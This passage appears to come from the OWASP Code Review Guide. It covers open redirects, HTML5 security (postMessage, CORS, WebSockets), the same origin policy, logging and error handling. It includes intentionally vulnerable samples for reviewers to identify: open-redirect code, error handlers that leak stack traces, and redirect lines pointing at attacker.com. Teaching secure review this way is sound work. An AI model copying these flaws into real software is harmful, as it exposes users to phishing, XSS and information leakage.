validation to the input, ensuring it cannot be used for purposes other than intended. Note that vulnerable code does not need to explicitly call a ‘redirect’ function, but instead could directly modi- fy the response to cause the client browser to go to the redirected page. Code to look for is shown in table 22. response.sendRedirect(request.getParameter(“url”)); Sample 16.1 $redirect_url = $_GET[‘url’]; header(“Location: “ . $redirect_url); Sample 16.2 string url = request.QueryString[“url”]; Response.Redirect(url); Sample 16.3 152 Where an attacker has posted a redirecting URL on a forum, or sends in an e-mail, the web site can check the referer header to ensure the user is coming from a page within the site, although this countermeasure will not apply if the malicious URL is contained within the site itself. Consider creating a whitelist of URLs or options that a redirect is allowed to go to, or deny the ability for the user input to determine the scheme or hostname of the redirect. A site could also encode (or encrypt) the URL value to be redirected to such that an attacker cannot easily create a malicious URL parameter that, when unencoded (or unencypted), will be considered valid. Forwards The countermeasure for forwards is to either whitelist the range of pages that can be forwarded to (similar to redirects) and to enforce authentication on the forwarded page as well as the forwarding page. This means that even if an attacker manages to force a forward to a page they should not have access to, the authentica- tion check on the forwarded page will deny them access. Note on J2EE There is a noted flaw related to the “sendRedirect” method in J2EE applications. For example: • response.sendRedirect(“home.html”); This method is used to send a redirection response to the user who then gets redirected to the desired web component whose URL is passed an argument to the method. One such misconception is that execution flow in the Servlet/JSP page that is redirecting the user stops after a call to this method. Note that if there is code present after the ‘If’ condition it will be executed. The fact that execution of a servlet or JSP continues even after sendRedirect() method, also applies to Forward method of the RequestDispatcher Class. However, <jsp:forward> tag is an exception, it is observed that the execution flow stops after the use of <jsp:forward> tag. After issue a redirect or forward, terminate code flow using a “return” statement. References • OWASP Article on Open Redirects https://www.owasp.org/index.php/Open_redirect Method of Redirection Description Redirect Response (note 301 and 307 responses will also cause a redirect) HTTP/1.1 302 Found Location: http://www.attacker.com/page.html Meta Tag <html><head> <meta http-equiv=”Refresh” content=”0;url=http://attacker.com/page.html”> JavaScript Refresh Header <script type=”text/javascript”> <!— window.location=”http://attacker.com/page.html” //--> HTTP/1.1 200 OK Refresh=0; url=http://attacker.com/page.html Table 22: Redirect Risks A10 - Unvalidated Redirects And Forwards 153 • CWE Entry 601 on Open Redirects http://cwe.mitre.org/data/definitions/601.html • WASC Article on URL Redirector Abuse http://projects.webappsec.org/w/page/13246981/URL%20Redi- rector%20Abuse • Google blog article on the dangers of open redirects http://googlewebmastercentral.blogspot. com/2009/01/open-redirect-urls-is-your-site-being.html • Preventing Open Redirection Attacks (C#) http://www.asp.net/mvc/tutorials/security/preventing-open-re- direction-attacks A10 - Unvalidated Redirects And Forwards 154 HTML 5 HTML5 was created to replace HTLML4, XHTML and the HTML DOM Level 2. The main purpose of this new stan- dard is to provide dynamic content without the use of extra proprietary client side plugins. This allows designers and developers to create exceptional sites providing a great user experience without having to install any addi- tional plug-ins into the browser. 17.1 Description Ideally users should have the latest web browser installed but this does not happens as regularly as security ex- perts advice, therefore the website should implement 2 layer controls, one layer independent from browser type, second, as an additional control. What to Review: Web Messaging Web Messaging (also known as Cross Domain Messaging) provides a means of messaging between documents from different origins in a way that is generally safer than the multiple hacks used in the past to accomplish this task. The communication API is as follows: However, there are still some recommendations to keep in mind: • When posting a message, explicitly state the expected origin as the second argument to ‘postMessage’ rather than ‘*’ in order to prevent sending the message to an unknown origin after a redirect or some other means of the target window’s origin changing. • The receiving page should always: o Check the ‘origin’ attribute of the sender to verify the data is originating from the expected location. o Perform input validation on the ‘data’ attribute of the event to ensure that it’s in the desired format. • Don’t assume you have control over the ‘data’ attribute. A single Cross Site Scripting flaw in the sending page allows an attacker to send messages of any given format. • Both pages should only interpret the exchanged messages as ‘data’. Never evaluate passed messages as code (e.g. via ‘eval()’) or insert it to a page DOM (e.g. via ‘innerHTML’), as that would create a DOM-based XSS vulnerability. • To assign the data value to an element, instead of using an insecure method like ‘element.innerHTML = data’, use the safer option: ‘element.textContent = data;’ • Check the origin properly exactly to match the FQDN(s) you expect. Note that the following code: ‘ if(message. orgin.indexOf(“.owasp.org”)!=-1) { /* ... */ }’ is very insecure and will not have the desired behavior as ‘www.owasp. org.attacker.com’ will match. • If you need to embed external content/untrusted gadgets and allow user-controlled scripts (which is highly discouraged), consider using a JavaScript rewriting framework such as Google’s Caja or check the information on sandboxed frames. HTML5 155 HTML 5 What to Review: Cross Origin Resource Sharing Cross Origin Resource Sharing or CORS is a mechanism that enables a web browser to perform “cross-domain” requests using the XMLHttpRequest L2 API in a controlled manner. In the past, the XMLHttpRequest L1 API only allowed requests to be sent within the same origin as it was restricted by the same origin policy. Cross-Origin requests have an Origin header that identifies the domain initiating the request and is automat- ically included by the browser in the request sent to the server. CORS defines the protocol between a web browser and a server that will determine whether a cross-origin request is allowed. In order to accomplish this goal, there are HTTP headers that provide information on the messaging context including: Origin, Ac- cess-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Con- trol-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers. The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a negative impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not. Items to note when reviewing code related to CORS includes: • Ensure that URLs responding with ‘Access-Control-Allow-Origin: *’ do not include any sensitive content or informa- tion that might aid attacker in further attacks. Use the ‘Access-Control-Allow-Origin’ header only on chosen URLs that need to be accessed cross-domain. Don’t use the header for the whole domain. • Allow only selected, trusted domains in the ‘Access-Control-Allow-Origin’ header. Prefer whitelisting domains over blacklisting or allowing any domain (do not use ‘*’ wildcard nor blindly return the ‘Origin’ header content without any checks). • Keep in mind that CORS does not prevent the requested data from going to an unauthenticated location. It’s still important for the server to perform usual Cross-Site Request Forgery prevention. • While the RFC recommends a pre-flight request with the ‘OPTIONS’ verb, current implementations might not per- form this request, so it’s important that “ordinary” (‘GET’ and ‘POST’) requests perform any access control necessary. • Discard requests received over plain HTTP with HTTPS origins to prevent mixed content bugs. • Don’t rely only on the Origin header for Access Control checks. Browser always sends this header in CORS requests, but may be spoofed outside the browser. Application-level protocols should be used to protect sensitive data. What to Review: WebSockets Traditionally the HTTP protocol only allows one request/response per TCP connection. Asynchronous JavaS- cript and XML (AJAX) allows clients to send and receive data asynchronously (in the background without a page refresh) to the server, however, AJAX requires the client to initiate the requests and wait for the server responses (half-duplex). HTML5 WebSockets allow the client/server to create a ‘full-duplex’ (two-way) commu- nication channels, allowing the client and server to truly communicate asynchronously. WebSockets conduct their initial ‘upgrade’ handshake over HTTP and from then on all communication is carried out over TCP chan- nels. The following is sample code of an application using Web Sockets: 156 When reviewing code implementing websockets, the following items should be taken into consideration: • Drop backward compatibility in implemented client/servers and use only protocol versions above hybi-00. Popular Hixie-76 version (hiby-00) and older are outdated and insecure. • The recommended version supported in latest versions of all current browsers is rfc6455 RFC 6455 (supported by Firefox 11+, Chrome 16+, Safari 6, Opera 12.50, and IE10). • While it’s relatively easy to tunnel TCP services through WebSockets (e.g. VNC, FTP), doing so enables access to these tunneled services for the in-browser attacker in case of a Cross Site Scripting attack. These services might also be called directly from a malicious page or program. • The protocol doesn’t handle authorization and/or authentication. Application-level protocols should handle that separately in case sensitive data is being transferred. • Process the messages received by the websocket as data. Don’t try to assign it directly to the DOM nor evaluate as code. If the response is JSON, never use the insecure eval() function; use the safe option JSON.parse() instead. • Endpoints exposed through the ‘ws://’ protocol are easily reversible to plain text. Only ‘wss://’ (WebSockets over SSL/ TLS) should be used for protection against Man-In-The-Middle attacks. • Spoofing the client is possible outside a browser, so the WebSockets server should be able to handle incorrect/ malicious input. Always validate input coming from the remote site, as it might have been altered. • When implementing servers, check the ‘Origin:’ header in the Websockets handshake. Though it might be spoofed [Constructor(in DOMString url, optional in DOMString protocol)] interface WebSocket { readonly attribute DOMString URL; // ready state const unsigned short CONNECTING = 0; const unsigned short OPEN = 1; const unsigned short CLOSED = 2; readonly attribute unsigned short readyState; readonly attribute unsigned long bufferedAmount; // networking attribute Function onopen; attribute Function onmessage; attribute Function onclose; boolean send(in DOMString data); void close(); }; WebSocket implements EventTarget; var myWebSocket = new WebSocket(“ws://www.websockets.org”); myWebSocket.onopen = function(evt) { alert(“Connection open ...”); }; myWebSocket.onmessage = function(evt) { alert( “Received Message: “ + evt.data); }; myWebSocket.onclose = function(evt) { alert(“Connection closed.”); }; Sample 17.1 HTML 5 157 outside a browser, browsers always add the Origin of the page that initiated the Websockets connection. • As a WebSockets client in a browser is accessible through JavaScript calls, all Websockets communication can be spoofed or hijacked through Cross Site Scripting. Always validate data coming through a WebSockets connection. 5.1.5 What to Review: Server-Sent Events Server sent events seem similar to WebSockets, however they do not use a special protocol (they re-used HTTP) and they allow the client browser to solely listen for updates (messages) from the server, thereby removing the need for the client to send any polling or other messages up to the server. When reviewing code that is handling server sent events, items to keep in mind are: • Validate URLs passed to the ‘EventSource’ constructor, even though only same-origin URLs are allowed. • As mentioned before, process the messages (‘event.data’) as data and never evaluate the content as HTML or script code. • Always check the origin attribute of the message (‘event.origin’) to ensure the message is coming from a trusted domain. Use a whitelist. HTML 5 158 Same Origin Policy (SOP), also called Single Origin Policy is a part of web application security model. Same Origin Policy has vulnerabilities that the code reviewer needs to take into consideration. SOP covers three main areas of web development, Trust, Authority, and Policy. Same Origin Policy is made of the combination of three components (Scheme, Hostname and Port). 18.1 Description Internet Explorer has two major exceptions when it comes to same origin policy: 1. Trust Zones: if both domains are in highly trusted zone e.g, corporate domains, then the same origin limita- tions are not applied. 2. Port: IE doesn’t include port into Same Origin components, therefore http://yourcompany.com:81/index. html and http://yourcompany.com/index.html are considered from same origin and no restrictions are applied. These exceptions are non-standard and not supported in any of other browser but would be helpful if developing an app for Windows RT (or) IE based web application. The following figure displays the various parts of the URL: SAME ORIGIN POLICY foo://username:password@example.com:8042/over/there/index.dtb?type=animal&name=narwhal#nose userinfo path authority hierarchical part interpretable as keys interpretable as values scheme name hostname query port interpretable as filename path interpretable as filename fragment Figure 12 Same Origin Policy 159 • foo://username:password@example.com:8042/over/there/index.dtb?type=animal&name =narwhal#nose 18.2 What to Review • If application allows user-supplied data in the URL then the code reviewer needs to make sure the path, query or Fragment Id Code data is validated. • Make sure user-supplied scheme name or authority section has good input validation. This is a major code injection and phishing risk. Only permit prefixes needed by the application. Do not use blacklisting. Code re- viewer should make sure only whitelisting is used for validation. • Make sure authority section should only contain alphanumerics, “-“, and “.” And be followed by “/”, “?”,”#”. The risk here an IDN homograph attack. • Code reviewer needs to make sure the programmer is not assuming default behavior because the program- mers browser properly escapes a particular character or browser standard says the character will be escaped properly before allowing any URL-derived values are put inside a database query or the URL is echoed back to the user. • Resources with a MIME type of image/png are treated as images and resources with MIME type of text/html are treated as HTML documents. Web applications can limit that content’s authority by restricting its MIME type. For example, serving user-generated content as image/png is less risky than serving user-generated content as text/html. • Privileges on document and resources should grant or withhold privileges from origins as a whole (rath- er than discriminating between individual documents within an origin). Withholding privileges is ineffective because the document without the privilege can usually obtain the privilege anyway because SOP does not isolate documents within an origin. Same Origin Policy 160 Reviewing Logging Code Applications log messages of varying intensity and to varying sinks. Many logging APIs allow you to set the granularity of log message from a state of logging nearly all messages at level ‘trace’ or ‘debug’ to only logging the most important messages at level ‘critical’. Where the log message is written to is also a consideration, sometimes it can be written to a local file, other times to a database log table, or it could be written over a network link to a central logging server. The volume of logging has to be controlled since the act of writing messages to the log uses CPU cycles, thus writing every small detail to a log will use up more resources (CPU, network bandwidth, disk space). Couple that with the fact that the logs have to be parsed or interpreted by a tool or human in order for them to be use- ful, the consumer of the log could have to parse through thousands of lines to find a message of consequence. 19.1 Description Logs can vary by type; for example a log may simply contain application state or process data, allowing sup- port or development track what the system is doing when a bug has occurred. Other logs may be specific to security, only logging important information that a central security system will have interest in. Further logs could be used for business purposes, such as billing. Application logs can be powerful as the application business logic has the most information about the user (e.g. identity, roles, permissions) and the context of the event (target, action, outcomes), and often this data is not available to either infrastructure devices, or even closely-related applications. Application logging is an important feature of a production system, especially to support personnel and auditors, however it is often forgotten and is rarely described in sufficient detail in design/requirement documentation. The level and con- tent of security monitoring, alerting and reporting needs to be set during the requirements and design stage of projects, and should be proportionate to the information security risks. Application logging should also be consistent within the application, consistent across an organization’s application portfolio and use industry standards where relevant, so the logged event data can be consumed, correlated, analyzed and managed by a wide variety of systems. All types of applications may send event data to remote systems, either directly over a network connection, or asyn- chronously though a daily/weekly/monthly secure copy of the log to some centralized log collection and manage- ment system (e.g. SIEM or SEM) or another application elsewhere. If the information in the log is important, and could possibly be used for legal matters, consider how the source (log) can be verified, and how integrity and non-repudiation can be enforced. Log data, temporary debug logs, and back- ups/copies/extractions, must not be destroyed before the duration of the required data retention period, and must not be kept beyond this time. Legal, regulatory and contractual obligations may impact on these periods. Server applications commonly write event log data to the file system or a database (SQL or NoSQL), however logging could be required on client devices such as applications installed on desktops and on mobile devices may use local storage and local databases. Consider how this client logging data is transferred to the server. What to Review When reviewing code modules from a logging point of view, some common issues to look out for include: REVIEWING LOGGING CODE 161 Reviewing Logging Code • When using the file system, it is preferable to use a separate partition than those used by the operating system, other application files and user generated content • For file-based logs, apply strict permissions concerning which users can access the directories, and the permissions of files within the directories • In web applications, the logs should not be exposed in web-accessible locations, and if done so, should have restricted access and be configured with a plain text MIME type (not HTML) • When using a database, it is preferable to utilize a separate database account that is only used for writing log data and which has very restrictive database, table, function and command permissions • Consider what types of messages should be logged: o Input validation failures e.g. protocol violations, unacceptable encodings, invalid parameter names and values o Output validation failures e.g. database record set mismatch, invalid data encoding o Authentication successes and failures o Authorization (access control) failures o Session management failures e.g. cookie session identification value modification o Connection timings • Consider what each log message should contain: o Date and time, in some common format (also makes sense to ensure all nodes of an application are synced through something like NTP o User performing the action o Action being performed/attempted o Information on the client, e.g. IP address, source port, user-agent o External classifications e.g. NIST Security Content Automation Protocol (SCAP), Mitre Common Attack Pat- tern Enumeration and Classification (CAPEC) o Perform sanitization on all event data to prevent log injection attacks e.g. carriage return (CR), line feed (LF) and delimiter characters (and optionally to remove sensitive data) • If writing to databases, read, understand and apply the SQL injection cheat sheet • Ensure logging is implemented and enabled during application security, fuzz, penetration and performance testing 162 • Ensure logging cannot be used to deplete system resources, for example by filling up disk space or exceeding database transaction log space, leading to denial of service • The logging mechanisms and collected event data must be protected from mis-use such as tampering in transit, and unauthorized access, modification and deletion once stored • Store or copy log data to read-only media as soon as possible • Consider what should not be logged: o Session identification values (consider replacing with a hashed value if needed to track session specific events) o Sensitive personal data and some forms of personally identifiable information (PII) o Authentication passwords (successful or unsuccessful) o Database connection strings o Keys o Data of a higher security classification than the logging system is allowed to store References • See NIST SP 800-92 Guide to Computer Security Log Management for more guidance. • Mitre Common Event Expression (CEE) • PCISSC PCI DSS v2.0 Requirement 10 and PA-DSS v2.0 Requirement 4 • Other Common Log File System (CLFS), Microsoft Reviewing Logging Code 163 Error Handling Proper error handling is important in two ways: 1. It may affect the state of the application. The initial failure to prevent the error may cause the application to traverse into an insecure state. This covers the key premise of ‘failing securely’, errors induced should not leave the application in an insecure state. Resources should be locked down and released, sessions terminated (if required), and calculations or business logic should be halted (depending on the type of error, of course). 2. It may leak system information to a user. An important aspect of secure application development is to prevent information leakage. Error messages give an attacker great insight into the inner workings of an application. Weak error handling also aids the attacker, as the errors returned may assist them in constructing correct attack vectors. A generic error page for most errors is recommended, this approach makes it more difficult for attackers to identify signatures of potentially successful attacks such as blind SQL injection using booleanization ‘’<should include reference>’’ or analysis of response time characteristics. 20.1 Description The purpose of reviewing the Error Handling code is to assure that the application fails safely under all possible error conditions, expected and unexpected. No sensitive information is presented to the user when an error occurs. A company coding guidelines should include sections on Error Handling and how it should be controlled by an application suite, this will allow developers to code against this guidelines as well as review against them.A company coding guidelines should include sections on Error Handling and how it should be controlled by an application suite, this will allow developers to code against this guidelines as well as review against them. For example, SQL injection is much tougher to successfully execute without some healthy error messages. It lessens the attack footprint, and an attacker would have to resort to using “blind SQL injection” which is more difficult and time consuming. A well-planned error/exception handling guideline is important in a company for three reasons: 1. Good error handling does not give an attacker any information which is a means to an end, attacking the application 2. A proper centralised error strategy is easier to maintain and reduces the chance of any uncaught errors “bubbling up” to the front end of an application. 3. Information leakage could lead to social engineering exploits, for example if the hosting companies name is returned, or some employees name can be seen. Regardless of whether the development language provide checked exceptions or not, reviewers should remember: • Not all errors are exceptions. Don’t rely on exception handling to be your only way of handling errors, handle all case statement ‘default’ sections, ensure all ‘if’ statements have their ‘else’ clauses covered, ensure that all exits from a function (e.g. return statements, exceptions, etc.) are covered. RAII concepts (e.g. auto pointers and the like) are an advantage here. In languages like Java and C#, remember that errors are different from exceptions (different hierarchy) and should be handled. ERROR HANDLING 164 Error Handling • Catching an exception is not automatically handling it. You’ve caught your exception, so how do you handle it? For many cases this should be obvious enough, based on your business logic, but for some (e.g. out of memory, array index out of bounds, etc.) the handling many not be so simple. • Don’t catch more that you can handle. Catch all clauses (e.g. ‘catch(Exception e)’ in Java & C# or ‘catch(...) in C++) should be avoided as you will not know what type of exception you are handling, and if you don’t know the exception type, how do you accurately handle it? It could be that the downstream server is not responding, or a user may have exceeded their quota, or you may be out of memory, these issues should be handled in different ways and thus should be caught in exception clauses that are specific. When an exception or error is thrown, we also need to log this occurrence. Sometimes this is due to bad development, but it can be the result of an attack or some other service your application relies on failing. This has to be imagined in the production scenario, if your application handles ‘failing securely’ by returning an error response to the client, and since we don’t want to leak information that error will be generic, we need to have some way of identifying why the failure occurred. If your customer reports 1000’s of errors occurred last night, you know that customer is going to want to know why. If you don’t have proper logging and traceability coded into your application then you will not be able to establish if those errors were due to some attempted hack, or an error in your business logic when handling a particular type of error. All code paths that can cause an exception to be thrown should check for success in order for the exception not to be thrown. This could be hard to impossible for a manual code review to cover, especially for large bodies of code. However if there is a debug version of the code, then modules/functions could throw relevant exceptions/errors and an automated tool can ensure the state and error responses from the module is as expected. This then means the code reviewer has the job of ensuring all relevant exceptions/errors are tested in the debug code. What to Review When reviewing code it is recommended that you assess the commonality within the application from an error/exception handling perspective. Frameworks have error handling resources which can be exploited to assist in secure programming, and such resources within the framework should be reviewed to assess if the error handling is “wired-up” correctly. A generic error page should be used for all exceptions if possible as this prevents the attacker from identifying internal responses to error states. This also makes it more difficult for automated tools to identify successful attacks. For JSP struts this could be controlled in the struts-config.xml file, a key file when reviewing the wired-up struts environment: Specification can be done for JSP in web.xml in order to handle unhandled exceptions. When unhandled exceptions occur, but are not caught in code, the user is forwarded to a generic error page: <exception key=”bank.error.nowonga” path=”/NoWonga.jsp” type=”mybank.account.NoCashException”/> Sample 20.1 165 Also in the case of HTTP 404 or HTTP 500 errors during the review you may find: For IIS development the ‘Application_Error()’ handler will allow the application to catch all uncaught exceptions and handle them in a consistent way. Note this is important or else there is a chance your exception informaiton could be sent back to the client in the response. For Apache development, returning failures from handlers or modules can prevent an further processing by the Apache engine and result in an error response from the server. Response headers, body, etc can be set by by the handler/module or can be configured using the “ErrorDocument” configuration. We should use a localized description string in every exception, a friendly error reason such as “System Error – Please try again later”. When the user sees an error message, it will be derived from this description string of the exception that was thrown, and never from the exception class which may contain a stack trace, line number where the error occurred, class name, or method name. Do not expose sensitive information like exception messages. Information such as paths on the local file system is considered privileged information; any internal system information should be hidden from the user. As mentioned before, an attacker could use this information to gather private user information from the application or components that make up the app. Don’t put people’s names or any internal contact information in error messages. Don’t put any “human” information, which would lead to a level of familiarity and a social engineering exploit. What to Review: Failing Securely There can be many different reasons why an application may fail, for example: • The result of business logic conditions not being met. • The result of the environment wherein the business logic resides fails. • The result of upstream or downstream systems upon which the application depends fail. • Technical hardware / physical failure. Error Handling <error-page> <exception-type>UnhandledException</exception-type> <location>GenericError.jsp</location> </error-page> Sample 20.2 <error-page> <error-code>500</error-code> <location>GenericError.jsp</location> </error-page> Sample 20.3 166 Failures are like the Spanish Inquisition; popularly nobody expected the Spanish Inquisition (see Monty Python) but in real life the Spanish knew when an inquisition was going to occur and were prepared for it, similarly in an application, though you don’t expect errors to occur your code should be prepared for them to happen. In the event of a failure, it is important not to leave the “doors” of the application open and the keys to other “rooms” within the application sitting on the table. In the course of a logical workflow, which is designed based upon requirements, errors may occur which can be programmatically handled, such as a connection pool not being available, or a downstream server returning a failure. Such areas of failure should be examined during the course of the code review. It should be examined if resources should be released such as memory, connection pools, file handles etc. The review of code should also include pinpointing areas where the user session should be terminated or invalidated. Sometimes errors may occur which do not make any logical sense from a business logic perspective or a technical standpoint, for example a logged in user looking to access an account which is not registered to that user. Such conditions reflect possible malicious activity. Here we should review if the code is in any way defensive and kills the user’s session object and forwards the user to the login page. (Keep in mind that the session object should be examined upon every HTTP request). What to Review: Potentially Vulnerable Code Java In Java we have the concept of an error object; the Exception object. This lives in the Java package java.lang and is derived from the Throwable object. Exceptions are thrown when an abnormal occurrence has occurred. Another object derived from Throwable is the Error object, which is thrown when something more serious occurs. The Error object can be caught in a catch clause, but cannot be handled, the best you can do is log some information about the Error and then re-throw it. Information leakage can occur when developers use some exception methods, which ‘bubble’ to the user UI due to a poor error handling strategy. The methods are as follows: • printStackTrace() • getStackTrace() Also important to know is that the output of these methods is printed in System console, the same as System.out. println(e) where there is an Exception. Be sure to not redirect the outputStream to PrintWriter object of JSP, by convention called “out”, for example: • printStackTrace(out); Note it is possible to change where system.err and system.out write to (like modifying fd 1 & 2 in bash or C/C++), using the java.lang.system package: • setErr() for the System.err field, and • setOut() for the System.out field. This could be used on a process wide basis to ensure no output gets written to standard error or standard out (which can be reflected back to the client) but instead write to a configured log file. C#.NET In .NET a System.Exception object exists and has commonly used child objects such as ApplicationException and SystemException are used. It is not recommended that you throw or catch a SystemException this is thrown by runtime. Error Handling 167 When an error occurs, either the system or the currently executing application reports it by throwing an exception containing information about the error, similar to Java. Once thrown, an exception is handled by the application or by the default exception handler. This Exception object contains similar methods to the Java implementation such as: • StackTrace • Source • Message • HelpLink In .NET we need to look at the error handling strategy from the point of view of global error handling and the handling of unexpected errors. This can be done in many ways and this article is not an exhaustive list. Firstly, an Error Event is thrown when an unhandled exception is thrown. This is part of the TemplateControl class, see reference: • http://msdn.microsoft.com/library/default.asp?url=/library/enus/cpref/html/ frlrfSystemWebUITemplateControlClassErrorTopic.asp Error handling can be done in three ways in .NET, executed in the following order: • On the aspx or associated codebehind page in the Page_Error. • In the global.asax file’s Application_Error (as mentioned before). • In the web.config file’s customErrors section. It is recommended to look in these areas to understand the error strategy of the application. Classic ASP Unlike Java and .NET, classic ASP pages do not have structured error handling in try-catch blocks. Instead they have a specific object called “err”. This makes error handling in a classic ASP pages hard to do and prone to design errors on error handlers, causing race conditions and information leakage. Also, as ASP uses VBScript (a subtract of Visual Basic), sentences like “On Error GoTo label” are not available. In classic ASP there are two ways to do error handling, the first is using the err object with a “On Error Resume Next” and “On Error GoTo 0”. The second is using an error handler on an error page (http://support.microsoft.com/kb/299981). Public Function IsInteger (ByVal Number) Dim Res, tNumber Number = Trim(Number) tNumber=Number On Error Resume Next ‘If an error occurs continue execution Number = CInt(Number) ‘if Number is a alphanumeric string a Type Mismatch error will occur Res = (err.number = 0) ‘If there are no errors then return true On Error GoTo 0 ‘If an error occurs stop execution and display error re.Pattern = “^[\+\-]? *\d+$” ‘only one +/- and digits are allowed IsInteger = re.Test(tNumber) And Res End Function Sample 20.4 Error Handling 168 C++ In the C++ language, any object or built in type can be thrown. However there is a STL type std::exception which is supposed to be used as the parent of any user defined exception, indeed this type is used in the STL and many libraries as the parent type of all exceptions. Having std::exception encourages developers to create a hierarchy of exceptions which match the exception usage and means all exceptions can be caught by catching a std::exception object (instead of a ‘catch (...)’ block). Unlike Java, even errors that you can’t recover from (e.g. std::bad_alloc which means your out of memory) derive from std::exception, so a ‘catch( std::exception& e)’ is similar to ‘catch (...)’ except that it allows you access to the exception so you can know what occurred and possibly print some error information using e.what(). There are many logging libraries for C++, so if your codebase uses a particular logging class look for usages of that logger for anywhere sensitive information can be written to the logs. What to Review: Error Handling in IIS Page_Error is page level handling which is run on the server side in .NET. Below is an example but the error information is a little too informative and hence bad practice. The text in the example above has a number of issues. Firstly, it displays the HTTP request to the user in the form of Request.Url.ToString(). Assuming there has been no data validation prior to this point, we are vulnerable to cross site scripting attacks. Secondly, the error message and stack trace is displayed to the user using Server.GetLastError().ToString() which divulges internal information regarding the application. After the Page_Error is called, the Application_Error sub is called. When an error occurs, the Application_Error function is called. In this method we can log the error and redirect to another page. In fact catching errors in Application_Error instead of Page_Error would be an example of centralizing errors as described earlier. Dim ErrObj set ErrObj = Server.GetLastError() ‘Now use ErrObj as the regular err object Sample 20.5 <script language=”C#” runat=”server”> Sub Page_Error(Source As Object, E As EventArgs) Dim message As String = Request.Url.ToString()& Server.GetLastError().ToString() Response.Write(message) // display message End Sub </script> Sample 20.6 Error Handling 169 Above is an example of code in Global.asax and the Application_Error method. The error is logged and then the user is redirected. Non-validated parameters are being logged here in the form of Request.Path. Care must be taken not to log or display non-validated input from any external source. ‘’<link to XSS>’’ Web.config has custom error tags which can be used to handle errors. This is called last and if Page_error or Application_error is called and has functionality, that functionality shall be executed first. If the previous two handling mechanisms do not redirect or clear (Response.Redirect or a Server.ClearError), this will be called and you shall be forwarded to the page defined in web.config in the customErrors section, which is configured as follows: The “mode” attribute value of “On” means that custom errors are enabled whilst the “Off” value means that custom errors are disabled. The “mode” attribute can also be set to “RemoteOnly” which specifies that custom errors are shown only to remote clients and ASP.NET errors are shown to requests coming from the the local host. If the “mode” attribute is not set then it defaults to “RemoteOnly”. When an error occurs, if the status code of the response matches one of the error elements, then the relevent ‘redirect’ value is returned as the error page. If the status code does not match then the error page from the ‘defaultRedirect’ attribute will be displayed. If no value is set for ‘defaultRedirect’ then a generic IIS error page is returned. An example of the customErrors section completed for an application is as follows: <%@ Import Namespace=”System.Diagnostics” %> <script language=”C#” runat=”server”> void Application_Error(Object sender, EventArgs e) { String Message = “\n\nURL: http://localhost/” + Request.Path + “\n\nMESSAGE:\n “ + Server.GetLastError().Message + “\n\nSTACK TRACE:\n” + Server.GetLastError().StackTrace; // Insert into Event Log EventLog Log = new EventLog(); Log.Source = LogName; Log.WriteEntry(Message, EventLogEntryType.Error); Server.Redirect(Error.htm) // this shall also clear the error } </script> Sample 20.7 <customErrors mode=”<On|Off|RemoteOnly>” defaultRedirect=”<default redirect page>”> <error statusCode=”<HTTP status code>” redirect=”<specific redirect page for listed status code>”/> </customErrors> Sample 20.8 Error Handling 170 What to Review: Error Handling in Apache In Apache you have two choices in how to return error messages to the client: 1. You can write the error status code into the req object and write the response to appear the way you want, then have you handler return ‘DONE’ (which means the Apache framework will not allow any further handlers/ filters to process the request and will send the response to the client. 2. Your handler or filter code can return pre-defined values which will tell the Apache framework the result of your codes processsing (essentially the HTTP status code). You can then configure what error pages should be returned for each error code. In the interest of centralizing all error code handling, option 2 can make more sense. To return a specific pre- defined value from your handler, refer to the Apache documentation for the list of values to use, and then return from the handler function as shown in the following example: In the httpd.conf file you can then specify which page should be returned for each error code using the ‘ErrorDocument’ directive. The format of this directive is as follows: • ErrorDocument <3-digit-code> <action> ... where the 3 digit code is the HTTP response code set by the handler, and the action is a local or external URL to be returned, or specific text to display. The following examples are taken from the Apache ErrorDocument documentation (https://httpd.apache.org/docs/2.4/custom-error.html) which contains more information and options on ErrorDocument directives: <customErrors mode=”On” defaultRedirect=”error.html”> <error statusCode=”500” redirect=”err500.aspx”/> <error statusCode=”404” redirect=”notHere.aspx”/> <error statusCode=”403” redirect=”notAuthz.aspx”/> </customErrors> Sample 20.9 static int my_handler(request_rec *r) { if ( problem_processing() ) { return HTTP_INTERNAL_SERVER_ERROR; } ... continue processing request ... } Sample 20.10 Error Handling 171 What to Review: Leading Practice for Error Handling Code that might throw exceptions should be in a try block and code that handles exceptions in a catch block. The catch block is a series of statements beginning with the keyword catch, followed by an exception type and an action to be taken. Example: Java Try-Catch: .NET Try–Catch ErrorDocument 500 “Sorry, our script crashed. Oh dear” ErrorDocument 500 /cgi-bin/crash-recover ErrorDocument 500 http://error.example.com/server_error.html ErrorDocument 404 /errors/not_found.html ErrorDocument 401 /subscription/how_to_subscribe.html Sample 20.11 public class DoStuff { public static void Main() { try { StreamReader sr = File.OpenText(“stuff.txt”); Console.WriteLine(“Reading line {0}”, sr.ReadLine()); } catch(MyClassExtendedFromException e) { Console.WriteLine(“An error occurred. Please leave to room”); logerror(“Error: “, e); } } } Sample 20.12 public void run() { while (!stop) { try { // Perform work here } catch (Throwable t) { // Log the exception and continue WriteToUser(“An Error has occurred, put the kettle on”); logger.log(Level.SEVERE, “Unexception exception”, t); Sample 20.13 Error Handling 172 C++ Try–Catch In general, it is best practice to catch a specific type of exception rather than use the basic catch(Exception) or catch(Throwable) statement in the case of Java. What to Review: The Order of Catching Exceptions Keep in mind that many languages will attempt to match the thrown exception to the catch clause even if it means matching the thrown exception to a parent class. Also remember that catch clauses are checked in the order they are coded on the page. This could leave you in the situation where a certain type of exception might never be handled correctly, take the following example where ‘non_even_argument’ is a subclass of ‘std::invalid_argument’: } } } void perform_fn() { try { // Perform work here } catch ( const MyClassExtendedFromStdException& e) { // Log the exception and continue WriteToUser(“An Error has occurred, put the kettle on”); logger.log(Level.SEVERE, “Unexception exception”, e); } } Sample 20.14 class non_even_argument : public std::invalid_argument { public: explicit non_even_argument (const string& what_arg); }; void do_fn() { try { // Perform work that could throw } catch ( const std::invalid_argument& e ) { Sample 20.15 Error Handling 173 The problem with this code is that when a ‘non_even_argument is thrown, the catch branch handling ‘std::invalid_argument’ will always be executed as it is a parent of ‘non_even_argument’ and thus the runtime system will consider it a match (this could also lead to slicing). Thus you need to be aware of the hierarchy of your exception objects and ensure that you list the catch for the more specific exceptions first in your code. If the language in question has a finally method, use it. The finally method is guaranteed to always be called. The finally method can be 